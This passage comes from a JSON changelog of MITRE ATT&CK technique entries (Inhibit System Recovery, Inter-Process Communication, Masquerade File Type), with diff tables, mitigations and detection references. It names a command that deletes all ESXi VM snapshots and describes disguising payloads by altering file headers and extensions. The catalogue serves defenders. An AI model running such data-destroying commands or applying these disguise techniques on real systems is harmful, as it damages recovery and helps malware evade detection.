nowrap=\"nowrap\">vices,&nbsp;adversaries&nbsp;may&nbsp;leverage&nbsp;[Disk&nbsp;Wipe](https://attack.m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.mitre.org/techniques/T1561)&nbsp;to&nbsp;delete&nbsp;backup&nbsp;firmware&nbsp;image</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itre.org/techniques/T1561)&nbsp;to&nbsp;delete&nbsp;backup&nbsp;firmware&nbsp;images&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;and&nbsp;reformat&nbsp;the&nbsp;file&nbsp;system,&nbsp;then&nbsp;[System&nbsp;Shutdown/Reboot</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;reformat&nbsp;the&nbsp;file&nbsp;system,&nbsp;then&nbsp;[System&nbsp;Shutdown/Reboot](</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">](https://attack.mitre.org/techniques/T1529)&nbsp;to&nbsp;reload&nbsp;the&nbsp;d</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">https://attack.mitre.org/techniques/T1529)&nbsp;to&nbsp;reload&nbsp;the&nbsp;dev</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">evice.&nbsp;Together&nbsp;this&nbsp;activity&nbsp;may&nbsp;leave&nbsp;network&nbsp;devices&nbsp;comp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ice.&nbsp;Together&nbsp;this&nbsp;activity&nbsp;may&nbsp;leave&nbsp;network&nbsp;devices&nbsp;comple</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">letely&nbsp;inoperable&nbsp;and&nbsp;inhibit&nbsp;recovery&nbsp;operations.&nbsp;&nbsp;On&nbsp;ESXi&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tely&nbsp;inoperable&nbsp;and&nbsp;inhibit&nbsp;recovery&nbsp;operations.&nbsp;&nbsp;On&nbsp;ESXi&nbsp;se</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">servers,&nbsp;adversaries&nbsp;may&nbsp;delete&nbsp;or&nbsp;encrypt&nbsp;snapshots&nbsp;of&nbsp;virt</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rvers,&nbsp;adversaries&nbsp;may&nbsp;delete&nbsp;or&nbsp;encrypt&nbsp;snapshots&nbsp;of&nbsp;virtua</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ual&nbsp;machines&nbsp;to&nbsp;support&nbsp;[Data&nbsp;Encrypted&nbsp;for&nbsp;Impact](https://</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;machines&nbsp;to&nbsp;support&nbsp;[Data&nbsp;Encrypted&nbsp;for&nbsp;Impact](https://at</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1486),&nbsp;preventing&nbsp;them&nbsp;from&nbsp;bei</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tack.mitre.org/techniques/T1486),&nbsp;preventing&nbsp;them&nbsp;from&nbsp;being</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;leveraged&nbsp;as&nbsp;backups&nbsp;(e.g.,&nbsp;via&nbsp;`&nbsp;vim-cmd&nbsp;vmsvc/snapshot.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;leveraged&nbsp;as&nbsp;backups&nbsp;(e.g.,&nbsp;via&nbsp;`&nbsp;vim-cmd&nbsp;vmsvc/snapshot.re</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">removeall`).(Citation:&nbsp;Cybereason)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;del</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">moveall`).(Citation:&nbsp;Cybereason)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;delet</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ete&nbsp;\u201conline\u201d&nbsp;backups&nbsp;that&nbsp;are&nbsp;connected&nbsp;to&nbsp;their&nbsp;network&nbsp;\u2013&nbsp;w</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;\u201conline\u201d&nbsp;backups&nbsp;that&nbsp;are&nbsp;connected&nbsp;to&nbsp;their&nbsp;network&nbsp;\u2013&nbsp;whe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hether&nbsp;via&nbsp;network&nbsp;storage&nbsp;media&nbsp;or&nbsp;through&nbsp;folders&nbsp;that&nbsp;syn</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ther&nbsp;via&nbsp;network&nbsp;storage&nbsp;media&nbsp;or&nbsp;through&nbsp;folders&nbsp;that&nbsp;sync&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">c&nbsp;to&nbsp;cloud&nbsp;services.(Citation:&nbsp;ZDNet&nbsp;Ransomware&nbsp;Backups&nbsp;2020</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;cloud&nbsp;services.(Citation:&nbsp;ZDNet&nbsp;Ransomware&nbsp;Backups&nbsp;2020)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;In&nbsp;cloud&nbsp;environments,&nbsp;adversaries&nbsp;may&nbsp;disable&nbsp;versioning&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">In&nbsp;cloud&nbsp;environments,&nbsp;adversaries&nbsp;may&nbsp;disable&nbsp;versioning&nbsp;an</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;backup&nbsp;policies&nbsp;and&nbsp;delete&nbsp;snapshots,&nbsp;database&nbsp;backups,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;backup&nbsp;policies&nbsp;and&nbsp;delete&nbsp;snapshots,&nbsp;database&nbsp;backups,&nbsp;ma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">machine&nbsp;images,&nbsp;and&nbsp;prior&nbsp;versions&nbsp;of&nbsp;objects&nbsp;designed&nbsp;to&nbsp;be</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chine&nbsp;images,&nbsp;and&nbsp;prior&nbsp;versions&nbsp;of&nbsp;objects&nbsp;designed&nbsp;to&nbsp;be&nbsp;u</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;used&nbsp;in&nbsp;disaster&nbsp;recovery&nbsp;scenarios.(Citation:&nbsp;Dark&nbsp;Reading</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sed&nbsp;in&nbsp;disaster&nbsp;recovery&nbsp;scenarios.(Citation:&nbsp;Dark&nbsp;Reading&nbsp;C</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Code&nbsp;Spaces&nbsp;Cyber&nbsp;Attack)(Citation:&nbsp;Rhino&nbsp;Security&nbsp;Labs&nbsp;AWS</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&nbsp;Spaces&nbsp;Cyber&nbsp;Attack)(Citation:&nbsp;Rhino&nbsp;Security&nbsp;Labs&nbsp;AWS&nbsp;S</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;S3&nbsp;Ransomware)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">3&nbsp;Ransomware)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management",
                            "M1028: Operating System Configuration",
                            "M1038: Execution Prevention",
                            "M1053: Data Backup"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0329: Behavioral Detection for T1490 - Inhibit System Recovery"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-12 14:08:48.689000+00:00",
                    "modified": "2026-11-04 03:26:00.864000+00:00",
                    "name": "Inter-Process Communication",
                    "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occur when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "execution"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1559",
                            "external_id": "T1559"
                        },
                        {
                            "source_name": "Fireeye Hunting COM June 2019",
                            "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
                            "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
                        },
                        {
                            "source_name": "Linux IPC",
                            "description": "N/A. (2021, April 1). Inter Process Communication (IPC). Retrieved March 11, 2022.",
                            "url": "https://www.geeksforgeeks.org/inter-process-communication-ipc/#:~:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them."
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_remote_support": false,
                    "x_mitre_version": "1.4",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:26:00.864000+00:00\", \"old_value\": \"2026-05-12 15:12:00.707000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occur when processes are stuck in a cyclic waiting pattern. \\n\\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)\", \"old_value\": \"Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \\n\\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \\n+Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occur when processes are stuck in a cyclic waiting pattern. \\n \\n Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)\"}}}",
                    "previous_version": "1.4",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to64__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to64__0\"><a href=\"#difflib_chg_to64__top\">t</a></td><td class=\"diff_header\" id=\"from64_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;inter-process&nbsp;communication&nbsp;(IPC)&nbsp;mech</td><td class=\"diff_next\"><a href=\"#difflib_chg_to64__top\">t</a></td><td class=\"diff_header\" id=\"to64_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;inter-process&nbsp;communication&nbsp;(IPC)&nbsp;mech</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">anisms&nbsp;for&nbsp;local&nbsp;code&nbsp;or&nbsp;command&nbsp;execution.&nbsp;IPC&nbsp;is&nbsp;typically</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">anisms&nbsp;for&nbsp;local&nbsp;code&nbsp;or&nbsp;command&nbsp;execution.&nbsp;IPC&nbsp;is&nbsp;typically</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;used&nbsp;by&nbsp;processes&nbsp;to&nbsp;share&nbsp;data,&nbsp;communicate&nbsp;with&nbsp;each&nbsp;othe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;used&nbsp;by&nbsp;processes&nbsp;to&nbsp;share&nbsp;data,&nbsp;communicate&nbsp;with&nbsp;each&nbsp;othe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r,&nbsp;or&nbsp;synchronize&nbsp;execution.&nbsp;IPC&nbsp;is&nbsp;also&nbsp;commonly&nbsp;used&nbsp;to&nbsp;av</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r,&nbsp;or&nbsp;synchronize&nbsp;execution.&nbsp;IPC&nbsp;is&nbsp;also&nbsp;commonly&nbsp;used&nbsp;to&nbsp;av</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oid&nbsp;situations&nbsp;such&nbsp;as&nbsp;deadlocks,&nbsp;which&nbsp;occur<span class=\"diff_sub\">s</span>&nbsp;when&nbsp;processe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oid&nbsp;situations&nbsp;such&nbsp;as&nbsp;deadlocks,&nbsp;which&nbsp;occur&nbsp;when&nbsp;processes</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;are&nbsp;stuck&nbsp;in&nbsp;a&nbsp;cyclic&nbsp;waiting&nbsp;pattern.&nbsp;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;are&nbsp;stuck&nbsp;in&nbsp;a&nbsp;cyclic&nbsp;waiting&nbsp;pattern.&nbsp;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;ab</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">buse&nbsp;IPC&nbsp;to&nbsp;execute&nbsp;arbitrary&nbsp;code&nbsp;or&nbsp;commands.&nbsp;IPC&nbsp;mechanis</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">use&nbsp;IPC&nbsp;to&nbsp;execute&nbsp;arbitrary&nbsp;code&nbsp;or&nbsp;commands.&nbsp;IPC&nbsp;mechanism</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ms&nbsp;may&nbsp;differ&nbsp;depending&nbsp;on&nbsp;OS,&nbsp;but&nbsp;typically&nbsp;exists&nbsp;in&nbsp;a&nbsp;for</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;may&nbsp;differ&nbsp;depending&nbsp;on&nbsp;OS,&nbsp;but&nbsp;typically&nbsp;exists&nbsp;in&nbsp;a&nbsp;form</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">m&nbsp;accessible&nbsp;through&nbsp;programming&nbsp;languages/libraries&nbsp;or&nbsp;nati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;accessible&nbsp;through&nbsp;programming&nbsp;languages/libraries&nbsp;or&nbsp;nativ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ve&nbsp;interfaces&nbsp;such&nbsp;as&nbsp;Windows&nbsp;[Dynamic&nbsp;Data&nbsp;Exchange](https:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;interfaces&nbsp;such&nbsp;as&nbsp;Windows&nbsp;[Dynamic&nbsp;Data&nbsp;Exchange](https:/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">//attack.mitre.org/techniques/T1559/002)&nbsp;or&nbsp;[Component&nbsp;Objec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/attack.mitre.org/techniques/T1559/002)&nbsp;or&nbsp;[Component&nbsp;Object</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;Model](https://attack.mitre.org/techniques/T1559/001).&nbsp;Lin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Model](https://attack.mitre.org/techniques/T1559/001).&nbsp;Linu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ux&nbsp;environments&nbsp;support&nbsp;several&nbsp;different&nbsp;IPC&nbsp;mechanisms,&nbsp;tw</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">x&nbsp;environments&nbsp;support&nbsp;several&nbsp;different&nbsp;IPC&nbsp;mechanisms,&nbsp;two</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;of&nbsp;which&nbsp;being&nbsp;sockets&nbsp;and&nbsp;pipes.(Citation:&nbsp;Linux&nbsp;IPC)&nbsp;Hig</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;of&nbsp;which&nbsp;being&nbsp;sockets&nbsp;and&nbsp;pipes.(Citation:&nbsp;Linux&nbsp;IPC)&nbsp;High</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">her&nbsp;level&nbsp;execution&nbsp;mediums,&nbsp;such&nbsp;as&nbsp;those&nbsp;of&nbsp;[Command&nbsp;and&nbsp;S</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;level&nbsp;execution&nbsp;mediums,&nbsp;such&nbsp;as&nbsp;those&nbsp;of&nbsp;[Command&nbsp;and&nbsp;Sc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cripting&nbsp;Interpreter](https://attack.mitre.org/techniques/T1</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ripting&nbsp;Interpreter](https://attack.mitre.org/techniques/T10</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">059)s,&nbsp;may&nbsp;also&nbsp;leverage&nbsp;underlying&nbsp;IPC&nbsp;mechanisms.&nbsp;Adversar</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">59)s,&nbsp;may&nbsp;also&nbsp;leverage&nbsp;underlying&nbsp;IPC&nbsp;mechanisms.&nbsp;Adversari</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ies&nbsp;may&nbsp;also&nbsp;use&nbsp;[Remote&nbsp;Services](https://attack.mitre.org/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;may&nbsp;also&nbsp;use&nbsp;[Remote&nbsp;Services](https://attack.mitre.org/t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">techniques/T1021)&nbsp;such&nbsp;as&nbsp;[Distributed&nbsp;Component&nbsp;Object&nbsp;Mode</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">echniques/T1021)&nbsp;such&nbsp;as&nbsp;[Distributed&nbsp;Component&nbsp;Object&nbsp;Model</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l](https://attack.mitre.org/techniques/T1021/003)&nbsp;to&nbsp;facilit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">](https://attack.mitre.org/techniques/T1021/003)&nbsp;to&nbsp;facilita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ate&nbsp;remote&nbsp;IPC&nbsp;execution.(Citation:&nbsp;Fireeye&nbsp;Hunting&nbsp;COM&nbsp;June</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;remote&nbsp;IPC&nbsp;execution.(Citation:&nbsp;Fireeye&nbsp;Hunting&nbsp;COM&nbsp;June&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;2019)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">2019)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1013: Application Developer Guidance",
                            "M1026: Privileged Account Management",
                            "M1040: Behavior Prevention on Endpoint",
                            "M1042: Disable or Remove Feature or Program",
                            "M1048: Application Isolation and Sandboxing",
                            "M1054: Software Configuration"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0493: Detect Abuse of Inter-Process Communication (T1559)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2023-03-08 22:40:06.918000+00:00",
                    "modified": "2026-11-03 23:58:20.304000+00:00",
                    "name": "Masquerade File Type",
                    "description": "Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\u2019s type. For example, the header of a JPEG file is <code> 0xFF 0xD8</code> and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \n\nAdversaries may edit the header\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign.  Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of <code>test.gif</code>. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1036/008",
                            "external_id": "T1036.008"
                        },
                        {
                            "source_name": "polygot_icedID",
                            "description": "Lim, M. (2022, September 27). More Than Meets the Eye: Exposing a Polyglot File That Delivers IcedID. Retrieved September 29, 2022.",
                            "url": "https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "CrowdStrike Falcon OverWatch",
                        "Ben Smith, @cmdaltr"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
